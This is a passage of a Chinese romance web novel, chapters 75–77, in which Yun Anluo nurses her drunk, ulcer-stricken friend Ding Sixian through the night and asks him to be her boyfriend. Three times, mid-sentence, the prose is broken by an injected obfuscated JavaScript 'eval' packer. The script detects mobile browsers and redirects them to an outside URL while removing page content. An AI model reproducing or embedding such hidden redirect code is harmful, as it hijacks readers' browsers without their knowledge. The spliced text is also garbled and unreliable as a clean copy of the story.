丁似霰能吐出来的只有刚刚喝下的酒水,还有并未来得及消化的药片。 他似是被呛到,伏在椅背上剧烈的咳嗽着。云安洛撑着塑料袋无法脱手,只好让李开颜蹲在车边轻轻拍着丁似霰的背。 过了片刻,云安洛见丁似霰没有继续呕吐,只是喘息声有些粗重,便问道:“还想吐吗?” 他摇了摇头。 云安洛系紧塑料袋,起身离开了车子,她对李开颜说道:“前座有纸巾和水,你给他拿一下,我去扔个垃圾。” 李开颜很难相信,眼前步伐稳健的女人竟然是刚喝了一大瓶白酒的云安洛。 云安路再回到车上时,代驾师傅也赶了过来,四个人坐在车子上,分居四角无人言语。 驶过第一个红绿灯时云安洛才忽的想起来,“小颜你住哪?我改个地址先送你吧。” “先送你。”丁似霰这时候说话倒是快,但确实声音依旧有些沙哑,也没什么力气。 代驾师傅也接着说:“姑娘,你自己带着喝醉的对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908966|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐车不安全。” “对对,洛姐我一会骑共享单车回去,下雨的话就打个车,不远,放心吧。”李开颜也表示赞同。 “行吧。”竟然被三个男人教育安全出行了。 云安洛突然感觉这个司机师傅看起来有点眼熟,却也不知道他是谁。可能面善的大爷看起来都一套面孔? 她看着窗外黑漆漆的街景出神,却被又突然造访的大雨吓了一跳。 这雨来得太快,一瞬间倾盆而下,根本看不清路。不得已,车辆行驶的速度变成了蠕动。 云安洛收回目光,斜靠在车门上,这角度正好可以看见丁似霰。 他也靠在车门上,只是看起来很困,头不断地从拄在门框的手上滑落。 按照这个行驶速度,再有半个小时都不会到家。 云安洛轻轻戳了一下丁似霰的肩膀,拍拍自己的腿:“你躺过来睡一会?” 他茫然转头看着她,又摇摇头,“不用了。” 酒量再好的人,也会上头,更何况云安洛本就带着气。 她双手抱在胸前,闭着眼仰起头,缓缓说着:“丁似霰,我大半夜从床上爬起来不是为了来你这里堵气的,你要么给我老老实实过来,要么……” 云安洛话未说完,丁似霰就瞬间倒下来,打断了她,“不要。” 云安洛眨眨眼,“倒是也,不用这么急。” 丁似霰只感到一阵眩晕,待缓过神才感知到自己身上披着毯子,云安洛还在轻轻地揉着他的太阳穴。 他睁开眼,看到了云安洛的手。 她小拇指边缘,有一道血迹已经有些干涸的伤口。 丁似霰伸出手,把云安洛的手握在手心看了看,又从口袋里拿出碘伏棉签,小心翼翼擦着伤口。 云安洛完全没印象这口子是什么时候弄的……哦,似乎是刚才下楼的时候太着急,推单元门的时候卡了一下。 就是个不到两厘米的小破口,回家冲冲水就得了,还值得这么细致吗? 云安洛没有说话,只是任由丁似霰处理伤口,然后,握住他,把手放进他的手心。 伤口有些发热,丁似霰的手又很凉,握起来很舒服。 他躺在云安洛腿上,闭着眼,任由她握着手,呼吸渐渐平稳。 云安洛感觉自己怕是疯了,竟然这么轻易就饶了丁似霰,让他躺在腿上,和他牵着手,还下意识拍着哄他睡觉。 真是疯了。 说好的心疼男人倒霉一辈子呢! 到达云安洛家楼下的时候,丁似霰并没有醒过来。李开颜还没来得及开口问,要不要他把丁似霰扶上楼,云安洛就直接把丁似霰一个横抱捞了起来。 “姐,牛啊……”李开颜一手撑着伞把云安洛和丁似霰送到单元楼下,一手比着大拇指。 云安洛背靠着单元门,和李开颜说道:“伞你拿走吧,自己回去注意安全。” 还好是电梯,要是走楼梯,把这么大个一男人抱上十五楼还是有点吃力的。 其实高中那次并没什么感觉,可能因为当时他还是清醒的。要不都说人死沉死沉的呢,没意识的人躺在怀里不会借力,真就像死人一样沉。 电梯上行的过程中,丁似霰醒了过来。 他两只胳膊都被云安洛搂着,醒来后有点不知道该放在哪里,有些尴尬地开了口:“我,我自己走吧。” “哦。”云安洛没多说什么,便放下了他。 “这是……哪里?”丁似霰看着电梯,并没有看出来自己身处何处。 “我家,”电梯停在了十五楼,云安洛拽着丁似霰的手腕把他带到自己家门口,“我怕你晚上自己死家里。” 云安洛的家里竟然一直有一双男士拖鞋……丁似霰楞楞地看着,脑子里挥之不去的想法:难道是为了叶易来这里吗…… “需要我伺候您换鞋吗,少爷?”云安洛的声音打断了丁似霰的幻想。 “……不,不用。”他慌忙换了鞋,随后被云安洛带去了卧室。 云安洛把丁似霰摁坐在床上,然后她自己坐在一旁的矮凳上,两个人谁也没说话,气氛十分诡异。 终于,敲门的声音打破了这份沉静。 “我叫的外卖,刚李开颜不是说你胃药没了吗。”云安洛站起身,解释了一下就走出卧室。 丁似霰看着她的背影,犹豫着,最后没有开口。 这药其实吃与不吃,区别不大。 房子隔音不太好,但丁似霰在听到开门的声音后,并没有听到大门关闭的声音。 也没有任何脚步声。 似乎是有细碎的交谈声。 取外卖不该这么久的。 75. 喜欢 云安洛打开门,看到的是一个男人拿着外卖袋,他脸上溢着一种奇怪的表情。 云安洛并没有心情去进一步理解这种表情,只说了声谢谢便想接过外卖袋。 但那男人没有松开袋子,反倒借机用它有些粗糙的脏手抓住云安洛的手。 云安洛看着他的嘴一张一合,说着道貌岸然的话。 他说女孩一个人大半夜胃疼需要人照顾,他可以帮帮忙。 他说他这人心善,愿意帮助云安洛。 云安洛看着眼前的男人,又黑又矮又胖又丑,云安洛穿着拖鞋都比他高,他到底是怎么样的自信让他说出这些话。 况且他哪只眼睛看出来的云安洛很虚弱需要人照顾? 云安洛淡淡开口:“给你个机会,现在松手滚蛋,我就当你什么都没做过。” 男人并没有珍惜机会,而是企图用他沾了些雨水的脏手去捏云安洛的肩膀。 就在云安洛刚想抬手做些什么时,丁似霰冲了过来,一把拽住那外卖员的胳膊。 云安洛听到了外卖员关节液气泡破裂的声音。 还是太温柔了。 “让他滚。” 云安洛说完便转身离开,去洗手间打开水龙头,冲洗着自己的手。 她开的是凉水。 是洗手,也是想让自己冷静一下。 她刚刚动过一丝念头……直接卸了那人的胳膊。但似乎如果这样做了,并不会得到公正的对待。 云安洛不懂,到底为什么,这些雄性生物们无论在各行各业无论什么年龄段,都有那么些个恶心人的。 她是不幸的,她遇见了这么多败类,她又是万幸的,她有能力保护自己也确实一直没有发生什么大事。 但,这不对,不该是这样。 不知不觉,她加大了冲洗揉搓的力度,小拇指侧面刚刚凝固的血痂再次融开,急速冰冷的水流中夹杂着一点点被稀释过后的橙红色,在洗手池中形成诡异的漩涡,然后再迅速消失。 突然间,另一双手握了过来,在水流中缓慢且温柔的揉搓云安洛的手。 她转过头,对上了丁似霰低垂的眼眸。云安洛缓过神来,不动声色地把水流温度调暖了些。 丁似霰挤了一泵洗手液,在手心揉开,又轻柔地搓洗云安洛手上每一寸皮肤……除了那还在渗血的伤口。 “不报警吗?”丁似霰问道。 “报了也没用,他没做任何实质性的事情,就算我把门口的监控当证据,也就是拘几天,赔的钱跟打发要饭的没区别。” 丁似霰用水流冲洗着云安洛手上的泡沫,“但……他如果再来堵你,怎么办?” “你不会以为我真打不过他吧?他要是再敢来我就让他真做点什么再废了他,报警也好判狠点,”云安洛很粗暴的把手在衣服上蹭了蹭,“好了,走吧。” 还未等云安洛转身,丁似霰便脚下一软,栽在云安洛身上。 “诶!你你你你怎么了?”云安洛吓得紧忙靠在洗手台上寻找支撑点架住丁似霰。 “抱歉……真的,很没用,”丁似霰喘着粗气,似是在竭力忍耐着不适,却也很难平稳气息,“站不住了……” 云安洛当即抱起丁似霰,向卧室走去。 丁似霰靠在云安洛身上,把自己蜷成一团,用手死死顶住胃部,浑身上下都紧绷着。 云安洛有些手足无措,她从没见过丁似霰这样,也不知道自己能做些什么,只好把空调和电热毯都打开,暖和点总归没错吧? “你,要不要去医院啊?或者吃片药?”云安洛问道。 丁似霰艰难地摇了摇头,缓缓挤出两个字:“没用……” 云安洛无助地搂着丁似霰,声音中因为着急近似带了些哭腔:“那咋办啊丁似霰,你就这么硬挺着?” 鬼使神差的,丁似霰带着云安洛的手,狠狠顶在上腹,云安洛这才真确的认知到他到底用了多大的力,她甚至能感受到他紧绷的肌肉下正在抽搐的胃。 “不是,你这么顶着不是更疼吗?”云安洛感觉丁似霰过了许久也丝毫没有好转,但也不敢擅自做任何事。 丁似霰已经近乎脱力,他身子渐渐舒展开,重心更多地压在云安洛身上,握住云安洛的双手不再用力,也很难压抑住痛苦的呻吟。 他声音很小,却又十分坚定:“揉……揉开……” 云安洛不太敢相信自己的耳朵,虽然说抽筋的部位能揉开这件事也算是常识,但胃痉挛这可不是普通抽筋,那不得疼死。上次在某乎上看人说自己不信邪揉了一下,直接嘎巴两眼一黑晕过去了。 不过云安洛也问过杨可期,她从文学和生理两层面都认可了这种方法——实在没办法了的话,长痛短痛都不如剧痛。 既然如此,云安洛一狠心,即刻用掌根按揉着丁似霰的胃部。 云安洛的手还留存着一丝刚刚被水染上的凉意,她不由得在心里暗骂,死手,洗什么凉水。 丁似霰起初只是随着云安洛的按揉,咬着牙有些掩盖不住的闷哼,直到她不知触碰到了哪里…… “呃……”丁似霰一声痛呼再也克制不住,剧烈的疼痛让他难以说出清晰的音节,只得浑身颤抖地倚在云安洛怀里剧烈地喘息着。 云安洛一瞬间再也不敢动,丁似霰却仍带着她的手,一下一下地摁揉。 “别……别害怕……溃疡……避开……”丁似霰因为剧痛维持的气力渐渐消失,在意识彻底模糊前,脑子里唯一的声音只剩下不能吓到洛洛。 “那,那这样,”云安洛避开了刚刚的位置,继续用掌根顺时针打着圈,“这样可以吗?” “嗯……” 云安洛能感受到丁似霰的胃部没有刚刚那样紧绷,确实有所好转,就维持原状一手按揉着,另一只手包裹在他的手上,企图让他暖和一些。 丁似霰不知是疼晕了还是睡了过去,整个人彻底瘫软在云安洛怀里。 起初丁似霰还会皱着眉头发出一些细碎的痛吟,身子略微有些躲避云安洛的摁揉,但似乎又被混沌的理智约束着没有乱动。 后来他的胃部也渐渐松弛下来,呼吸平稳,睡熟了一些。 就在云安洛以为可以关灯睡觉了的时候,丁似霰突然醒过来,像某种受惊的动物撑起身和云安洛拉开了些距离。 云安洛看着他一副要与自己划清界限的样子,一股火气蹭一下窜了上来。 “丁似霰!”云安洛很努力地克制自己的情绪,但语气听起来依旧有掩盖不住的怒意,“怎么了?” “我,我没事了……谢谢。” 言外之意……别抱着了,太亲密了? 云安洛向前蹭了几步,粗暴地捏起丁似霰的下巴,迫使他抬起头。过于急促暴力的动作却引得他一阵呛咳。云安洛只好放开手,动作变成捧着他的脸,让他可以依靠一些。这动作倒是……更加暧昧。 “你是不是,不记得高中的时候我和你说过什么?” 云安洛见丁似霰一脸茫然的样子,便不再追问下去。她跪坐在丁似霰身旁,食指折叠弯曲,用指节轻轻抵在丁似霰上腹的位置,“这里,溃疡?” 丁似霰没有明白云安洛想做什么,只是木木的“嗯”了一声。 当然,他很快就懂了。 云安洛的手指快速偏移了些,然后用了些力……戳了进去。 她那年说,“你要是再敢让我猜,不管你有没有事我都真让你有事”。 “啊……呃……”丁似霰对于突如其来的痛感没有预料,一瞬间折弯了腰,身子没了力气又倒进云安洛的怀里。 云安洛顿时慌了神,扶住丁似霰的肩膀,“对不起对不起,我也没使多大劲啊,你,你,你怎么样……” 丁似霰摇摇头,咬着牙没有发出任何声响,只是又挣扎着抱紧云安洛,把头埋进她的颈窝。 云安洛刚刚窜上来的那点火气早就散得无影无踪,她轻抚着丁似霰的背,很无奈地问道:“丁似霰你最近到底怎么了?有什么事你跟我说说行不行,你这样别扭着,我真的很闹心,主要是我又不明白你在想什么。” 如预料一般,云安洛并没有得到想要的答案。但意料之外的事情是,她听到了丁似霰的抽噎声。 “啊?”云安洛并不理解事情的走向,但依旧放软了态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908967|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她扯过一旁的被子披在丁似霰身上,又环抱住他,“好了我不问了,你不想说就不说,但你别哭呀,这一激动你不胃又该疼了吗?” 丁似霰稍稍缓过来一些,才开口说道:“你,为什么……不叫我小光了……” “就你最近对我这个态度,我还屁颠屁颠喊你小名,是我疯了还是你疯了?” 云安洛完全没想到,这是她今晚听到的第一个问句。她向来只是打趣或者哄着丁似霰的时候才会叫他小光,但很显然,最近一段时间他们之间似乎并不存在那种冒着彩色泡泡的氛围。 好莫名其妙的男人。 “我疯了……”他没有继续说下去,而是换了另一个更令云安洛意想不到的问题:“洛洛,你……还,喜欢我吗……” “我不喜欢你,我大半夜跑去龙观川纯犯贱。”云安洛说完就很想抽自己一巴掌,明明知道不该在这个时候刺激一个犯了胃病的醉鬼,怎么又嘴比脑子快,说些不该说的东西。 云安洛差点忘了,现在她也是一个醉鬼。 丁似霰还没来得及理解这句话,云安洛就立刻把他抱得更紧了些,习惯性用手揉着他的头发,语气也转变得十分温柔,“我的意思是,我喜欢你,一直都很喜欢你。” “洛洛……你留我一个好不好……” “什么?” “我和你一起回新柳,再给我一次机会,你选我好不好……” “选什么?”云安洛一头雾水。 丁似霰又犹豫了很久,才缓缓说道:“我知道我没有叶易好……但我,我真的……” 瞬间,云安洛才明白丁似霰到底在纠结什么——那套婚纱照。 云安洛立刻打断了丁似霰:“没有,你很好,我喜欢你,一直喜欢你,也只喜欢你一个人,从来没有其他人。” “你看到了那套婚纱照和全家福是吧?” “……嗯。” 云安洛扶起丁似霰,确保他们可以看清彼此,然后很郑重地说道:“我不知道你现在能不能相信或者说是理解这个事情,但真的那些照片就是我帮了叶易一个忙,我和他之间只有革命友情。 叶易压根就不想找女朋友,这事他爸妈都已经被迫接受了,但是没和他爷爷坦白过。 当时是他爷爷身体不太好了,但一直说着没看到孙子结婚太遗憾。那要是他知道了不得给老头直接气背过去吗,所以我就装成他对象,做个假的结婚证,还照了套照片,就是为了让老爷子走的时候别有啥遗憾。” 云安洛一口气说完了整件事情,她看着丁似霰,有些忐忑地等待他的回应。 丁似霰的眼眶已经哭红了,眸中还闪着泪花,云安洛瞬间……很想亲上去,却又感觉还是太冒犯了。 他只是有些呆呆的看着她,除了落下的泪,没有任何其他反应。 “你,信不信的你说句话啊……”云安洛有些莫名其妙焦急。 “信!”丁似霰快速点着头,却因这个动作有些头晕,再次倚在云安洛肩上,“我……我都信,你说的……都信,我就是,就是很害怕……” “我的错,我应该早点和你说的,给我们小光委屈好久了吧?”云安洛轻轻把头靠在丁似霰头侧,拍着他的背。 “没有,”丁似霰摇摇头,“没必要和我说,我又不是你的谁……” “对哦,我们家小光怎么能连个名分都没有呢?” 房间内黄色的灯光并不刺眼,但足以让人看清眼前的景色。 窗外雨点砸击玻璃的声音从未停歇,在寂静的夜里越发清晰。 这样一个大雨滂沱的夜晚,竟还隐约有一丝光亮穿过重重乌云再从窗帘的缝隙中渗进卧室。 那大概率不是月光,但确实足够在黑夜点亮一方天地。 “你自信点,我十四岁就遇见你了,认识了那么乍眼的光哥,怎么可能还看得上别人?” “你是我遇见的,最好的男人,没有比你更好的,因为我早就已经喜欢上你了,异性相吸这方面,我只能看得见你。” “我想一直一直和你在一起。” “所以,丁似霰,做我男朋友吧,好不好?” 76. 共枕 “丁似霰,做我男朋友吧,好不好?” 云安洛的声音在耳边响起,丁似霰甚至第一时间再次怀疑自己出现了幻觉,又很快发觉,这一切都是真实的。 “好……”丁似霰再也抑制不住自己的情绪,趴在云安洛肩头小声呜咽。 丁似霰的气息扑在颈窝,惹得云安洛从肢体到心理都痒痒的。 “好啦我的小男朋友,别哭啦,和我在一起这么激动的吗?”云安洛揉着丁似霰的头发打趣。 她还是很喜欢揉丁似霰的头,手感很好。 “我们躺下好不好?” “你让我……再抱一会……” “躺下来我也让你抱着的,我只是感觉会不会躺下来能舒服一点?” “我……我有点想吐……” 云安洛刚刚还在对丁似霰上下其手又揉又拍,突然像是被下了木头人的指令,再也不敢动一下。 她维持刚刚的姿势环抱着丁似霰,轻声说道:“你不用忍着,床边就有垃圾桶。” 其实刚刚在车上丁似霰已经吐空了他胃里所有的东西,如今只是伏在床边干呕,还会被胃液呛得连连咳嗽。最后彻底脱了力,被云安洛扶着漱口后,侧蜷着身躺在云安洛腿上。 云安洛这才注意到,他又紧绷着,把拳头抵在上腹。 她有些轻车熟路地伸出手,覆在丁似霰的胃部,像刚才一样按揉。 大概是没了力气,也可能是卸下了一重隔阂,丁似霰不再像刚刚那般克制,他一手抠着床单,另一只手抱在云安洛的腿上,小声喘息呻吟。 云安洛看着他的样子,不由得有些担心,“你确定只是胃痉挛吗?不会是急性阑尾炎吧?” 显然,这个过于健康长期远离病痛的云安洛并不清楚腹部各个地方疼痛所对应的症状。 “不会……呃……”丁似霰话只说了一半,不得已咬着牙挺过那阵痛楚后继续说道:“早就切了,没有,不可能疼……” “我的天啊,”云安洛握住丁似霰的手,继续和他说着话,或许能转移些注意力,“谁这么过分,把我们家小光熬成这样,明天我给你报仇去!” “不用,明天,你现在……把我扔出去……自生自灭……别管我就好了……” “不行不行,我可舍不得,那还是先不报仇了。” 和每次痉挛一样,丁似霰还是感觉自己的胃像是在被一股无形的力扭曲撕扯着,再一点一点碾碎,他甚至渐渐没有力气蜷缩身体,但那份疼痛却越来越剧烈。 只是在云安洛的碎碎念里,似乎会感觉这些痛楚略微减轻了一些。 “你看过录像了吧?其实我高一报道的时候就注意到你了,那么高,长得还好看,领军训服的时候你就在我斜前面。” “你……怎么,不叫我……” “我不认识你,那多冒昧,看两眼就得了呗。” “就,那么好看,你还……还把我Q/Q,给出去!” “我也不想,但当时就感觉人家问了我也找不到理由不给。再说了,还不是你太招蜂惹蝶,左一个小姑娘右一个小姑娘惦记你这张脸,我要是真醋性那么大,不得给我气死了?” “明天我就划一刀,变成丧彪……” “那可不成!我也惦记你这张脸,嘿嘿嘿。你看我多好,那么些年,都没有能让你吃醋的人。” “有……”丁似霰刚想翻出来那些陈年老醋,胃里突然不受控制地一阵剧烈绞痛,他只感觉手脚发麻眼前一黑,瞬间出了一身冷汗。 云安洛自然能感受到掌心下的器官拧成一团,却也只能按照原来的力度揉着,祈祷丁似霰早些好起来。 “除了叶易和咔咖,哪还有什么人让我们家小光吃醋?” 过了足有五六分钟,丁似霰的胃才渐渐松弛下来一些,他浑身上下都被冷汗浸透了,没有力气压抑痛苦也没有力气痛呼,只是会随着胃里残留的抽动细微的颤栗。 丁似霰在混沌的意识中仍旧努力进行着刚刚的话题,他声音有些沙哑地说出一个名字:“木鑫宇。” 云安洛一时间竟想不起来这人是谁,“他是,哪位?” “就,你那个前桌,好几次都是你前桌。” 前桌这个事情,云安洛属实记不大清,每次考试后都会换座位,她也没关注过自己前面都坐了谁,除了那个上身贼长的大哥。 “他总让你讲题。”丁似霰的声音中带着一点充满幽怨的控诉的感觉,“有段时间,我下课去找你,你只要不睡觉,几乎都在给他讲题。” 说到这里云安洛才对那个人有些印象,却怎么也想不起来木鑫宇长什么样子,“那可能就是感觉我讲得明白吧。” “才不是……你两只眼睛都,放在,卷纸上,他一眼睛站岗一眼睛放哨的。” 云安洛对此有些无奈,她轻轻擦了擦丁似霰眼角的泪痕,“你都知道我俩眼睛都在卷纸上怎么还吃醋?我压根没想过其他的事好吧……” “你说他,挺好看的。” “我估计就随口一说,你记十年?” “他,还能……每天,和你在,在一个班待着。” “我们家小光醋性是真大啊,你想开点,以后每一天你都可以和我在一张床.上待着,”云安洛笑着捋了下丁似霰的碎发,“好了小醋坛子,累了就睡吧,睡醒之后再翻旧账。” “好。” “但过一会,我得给你擦一擦身子换件衣服,这样睡一宿不舒服还容易生病。” “嗯。”丁似霰轻轻点了点头,他完全没想过这里是云安洛家,他怎么会有可换的衣服。 “不许说我占你便宜。” “其实,你占点也行。” 等到丁似霰的胃彻底缓过来,又过了十几分钟,云安洛才敢小心翼翼把他的头托起来,放到枕头上。 那次割腕,云安洛的手还是有些伤到了神经,过于紧张用力或者是做一些比较精细的活动,她这只左手都会很快酸疼,如今竟然给丁似霰揉了一个多小时。 云安洛甩甩手腕,跟死掉了一样,完全不太会动了已经。 接热水,拧毛巾,然后……脱丁似霰衣服! 丁似霰这身黑色的衬衫西裤确实很帅,衬衫也很好,很方便脱……不对,这人怎么还穿老头背心。。。 掀起丁似霰的“老头背心”后,他上腹的皮肤露了出来,一片青紫。 云安洛有些心疼地轻轻摸了摸,也不知道疼了多久,能把自己弄成这样。 而且,他身上,竟然还有些其他的疤。云安洛这才发现,他这些年,好像有很多事未同她讲。 最后,云安洛给丁似霰套上了她的3XL珊瑚绒睡袍,又换了新的床单和被子,都是绒面的。云安洛总是感觉丁似霰身上很凉,可是家里没有体温计,这些毛茸茸的东西裹着身体会暖和很多。 云安洛刚爬上床扯过靠枕,丁似霰好像突然惊醒一样睁开眼,有些慌乱地向一旁寻找云安洛。 “我在这呢。”云安洛迅速转进被窝,搂过丁似霰,让他靠在自己身上,又拉着他的胳膊环在自己腰上。 丁似霰竟快速缩回手:“我手凉……” “没事,正好我给你暖暖。”云安洛又把他的手摆了回去,然后继续刚刚的工作:一只手轻轻给丁似霰揉胃,另一只手随意搭在他身上,偶尔轻轻拍两下。只是那只随意的手换成了左手。 “还有哪里不舒服吗?”云安洛问道。 “有点冷。” “那你抱紧一点,正好我有点热,”这可不是假话,电热毯三挡,空调二十八度这两者无论哪个都足够云安洛半夜踹被子了,何况现在是两个一起来,还严严实实盖着被。 云安洛整理好被子,关了灯,却发现丁似霰似乎并没有睡着,脸上还带着一些……近似于委屈的表情。 “刚刚做梦了?” “嗯。” “噩梦?” “……我梦到……你不要我了。” “明明是你躲着我,我哪里不要你了?” “我错了,对不起嘛……” “好呀,那我原谅你了。所以你为什么会梦到我不要你了?” “在车上的时候……” “那是你胆小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908968|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我本来是想说,你要是不躺过来我就对你强制执行,哪想到稍微吓唬一下你反应那么大。” “出电梯的时候你拉我手腕……” “不然我挽你胳膊呀?那有点太亲密了吧?” “……之前你都会直接拉我手的。” “好,那这个就算是我区别对待,请问我的男朋友,我还有什么其他罪行吗?” 大抵是一些难以启齿的话,丁似霰犹豫了一会才开口:“……你还有很多宝贝儿。” “这……有吗?我怎么不知道。” “杨可期,季蓉。” “那不都是小姑娘嘛,你看我对哪个异性喊过?” “……小白。” 云安洛听到这个名字的时候,确实有种恍如隔世的感觉。 白色为主体的小狗她后来见了许多条,但确实在十几年前的青春里撒娇的小臭白只有那一条。 “公狗也算?你是不是吃醋的范围面有点广阔了?” “我不管,小白也是男孩……你没叫过我。” “哈哈哈哈哈哈,好好好,宝贝,你是我大宝贝儿,”云安洛笑着捏了捏丁似霰的脸,“你知道你现在特像什么吗?” “……应该不是什么太好的比喻。” “某种仗着宠爱无理取闹的……”云安洛一时间没有想好比喻词汇。 “狗?” “不是,”云安洛摇摇头,“狗急眼了会咬人,你急眼了就自闭。” 丁似霰眯起眼,看着云安洛还在一下一下掐着自己脸的手指……张开嘴在她食指的指节处轻轻咬了一口。 “诶!真咬啊?”话虽这么说,但云安洛并没有抽回手,反正也不疼,连牙印都没留下。 丁似霰没有说话,闭上眼埋着头,有些不好意思地笑着。 “睡觉吧,不用揉,我不疼了。”丁似霰握着云安洛的左手,还在用大拇指摩挲他刚刚咬过的指节。 “那,我就这样放在这里给你暖着?”云安洛停下手中的动作,继续把手掌放在丁似霰上腹。 睡袍太厚了,她是从扣子的空隙间伸进去,直接覆在丁似霰皮肤上。云安洛的掌心很暖,覆在上面确实很舒服。 “嗯。”丁似霰点点头,“要不要躺下来?你这样靠着睡舒服吗?” “明天给你试一试,这个可老舒服了,我自己打版做的靠枕。唯一的坏处就是这样睡久了容易变成探头王八。” 丁似霰听到后,不禁笑了起来。好清奇的说法,云安洛总能想出一些语出惊人的比喻。 他躺在云安洛怀里,呼出的气息穿过薄薄的睡裙惹得人有些痒。 云安洛轻轻拍了拍丁似霰,“晚安小醋坛子。” “晚安,女朋友。” 看得出来,丁似霰对他的新名分十分满意。 丁似霰环在云安洛腰间的手,有些不自觉地抓起一些她睡衣的布料,抱得更紧了些。 云安洛把手放在丁似霰脸侧,他在云安洛的手心蹭了蹭,云安洛感觉到他的眼角似乎又有些湿润,“怎么啦?” “就是,感觉有点……不太真实。”丁似霰小声抽了一下鼻子。 “都疼成这样了还不真实呐?” “嗯……以前都直接睡过去的。”丁似霰隔着睡袍,把手放在云安洛的手上,像是在感受她的暖意。 “放心,以后我都陪着你,说不定我们好好养一养身体,以后就不疼了,”云安洛揉了揉丁似霰的头发笑着说道:“虽然有了不少白头发,但这发量还是不少啊。” “嗯,”丁似霰微微垂着头,声音很闷,还带着些鼻音:“还,没有绝顶。” “那看来不够聪明是不是?” “可笨了,后悔吗?” “不后悔,我们家小光什么样我都喜欢,再说,哪笨了,小光最厉害了,”云安洛轻轻擦去了丁似霰脸上的泪:“不哭啦,明天眼睛肿了的话该看什么都酸了,会难受的。” 丁似霰紧紧抱着云安洛,很乖巧地点点头。 云安洛在他耳边轻声说道:“睡吧,一觉醒来还会看见我的。” 77. 对账 枕着云安洛当枕头,丁似霰倒是睡得很踏实,直到七点多云安洛醒来,他还沉沉的睡着。 云安洛用手背试了下丁似霰额头的温度,感觉他又有些发烧。大概是昨天白天的时候在工地冻了很久,晚上又疼出很多冷汗,如今缓过来后有点低烧也正常。 丁似霰还是和刚入睡时一样的姿势,被云安洛严严实实裹在被子里,只有头露在外面。他虽然睡得熟,但感觉大概是还有些下意识的不安,眉头还是轻轻皱着。 云安洛安抚般拍了拍丁似霰的肩,他没有醒,只是微微动了动,环在云安洛腰间的手抱得更紧了些。 丁似霰虽然面容还有点憔悴,但至少眉目舒展了些。云安洛看着他,脑子里突然出现了霸总文里的话:夫人,有你在,少爷终于睡个安稳觉了。 唉,跟着杨可期看了太多狗血的东西,脑子都要看坏了。 不过云安洛此时此刻,有那么一点理解书里的那些描述了。 丁似霰窝在她怀里,只露出了一个脑袋,还在紧紧抱着她。 倒不是去做什么幼态化的比拟,只是感觉,看着他,便很开心。 云安洛拿出蓝牙插在耳朵里闭着眼听歌打发时间。她没有忘记中午飞奉州的航班,现在时间确实还很早,但她也不太能继续睡得着。 乔耀其实不是个坏孩子,他大概不会用这种事情骗云安洛,最坏的结果也就是给他点钱当成买录像,也不算亏。 云安洛迷迷糊糊地摁到古风版随机歌单,竟然还这么巧播起了和丁似霰一起录的那首歌。 当初发了两个版本,一个有念白一个纯音乐,没想到榴莲牛奶的念白一发出去热度也很高,甚至和浓珑拉郎配的热度一度盖过了咔咖。 当然,那热度有可能是因为云安洛一句澄清的话都没说过,真姐夫舍不得辟谣。 云安洛感觉到怀里的人似乎动了动,睁开眼,就看到丁似霰正仰着头看向她。 他大概是又做了梦,气息很不稳,眼神有些茫然。 “早上好,男朋友!”云安洛并没有过度关注丁似霰的不安,而是很自然地弯下腰,在丁似霰脑门上亲了一下:“醒来就看到我了,是不是很幸福?” “嗯!”他缓过神来,笑得又有些傻里傻气的:“听到什么了这么开心?” 云安洛笑眯眯说道:“正在听全世界最好听的念白。” 丁似霰立刻明白了云安洛说得是那首歌,他泛着笑意低下头:“我没被你粉丝追着骂都不错了。” “怎么可能,为了防止挨骂我都发了两个版本,再骂我就要破防拉黑了,我可不是什么好人,”云安洛摘下耳机,再次摸了摸丁似霰的额头,“你还有点发烧,头晕吗?需不需要吃片退烧药?” “不用,”丁似霰摇摇头,“过一会就好了。” “你,为什么不去医院?不是可以打止疼针吗?”云安洛这才想起来问。 “很奇怪,我从第一次打针就效果很差,最开始还能挺几个小时,后来就彻底没用了。” “药也是?” “两种药换着吃就还好……但最近吃得有点,多……”丁似霰有些心虚地笑了一下,手还在不安的勾着云安洛的手指。 “你确定没什么别的问题?” “我八月份去系统地查过,只有轻微溃疡,和慢性胃炎,然后胃动力不足,都不严重。 胃痉挛……原因不太清楚,但说到底就是抽筋,没有实质病变的话就死不掉。” “不喝酒的话也会疼吗?” “可能,大概率没这么严重。但是情绪紧张或者没怎么吃饭又或者着凉了……都可能。” “你,这么喝酒,还有溃疡,没出过血?” 之前杨可期值夜班的时候,见过不少大半夜从酒局被拉过来急救的年轻人,她和云安洛说起这些的时候,云安洛脑子里就总是在想,可千万别哪天杨可期告诉她,急救车上卸下来一个丁似霰,那她就真得连夜买飞机票飞南菀了。 